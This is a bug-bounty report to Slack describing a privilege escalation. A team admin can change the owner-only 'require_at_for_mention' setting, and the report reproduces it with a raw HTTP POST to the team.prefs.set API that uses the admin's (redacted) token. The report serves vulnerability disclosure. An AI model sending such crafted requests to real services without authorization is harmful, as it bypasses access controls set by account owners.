Slack · Report #46747
Team admin can change unauthorized team setting (require_at_for_mention)
How it was found
Team admin can escalate his privileges and change 'require_at_for_mention' team setting, which can be changed only by a team owner.
Steps to reproduce:
- Log in as team admin
- Send the below request using his token and notice that it changes 'require_at_for_mention' setting to true.
POST /api/team.prefs.set?t=1423143830 HTTP/1.1 Host: satishb3mailinator.slack.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://satishb3mailinator.slack.com/admin/settings Content-Length: 130 Cookie: _ga=GA1.2.630936366.1423056192; a-3204538285=...
prefs=%7B%22require_at_for_mention%22%3Atrue%7D&token=xoxs-xxxxx&set_active=true&_attempts=1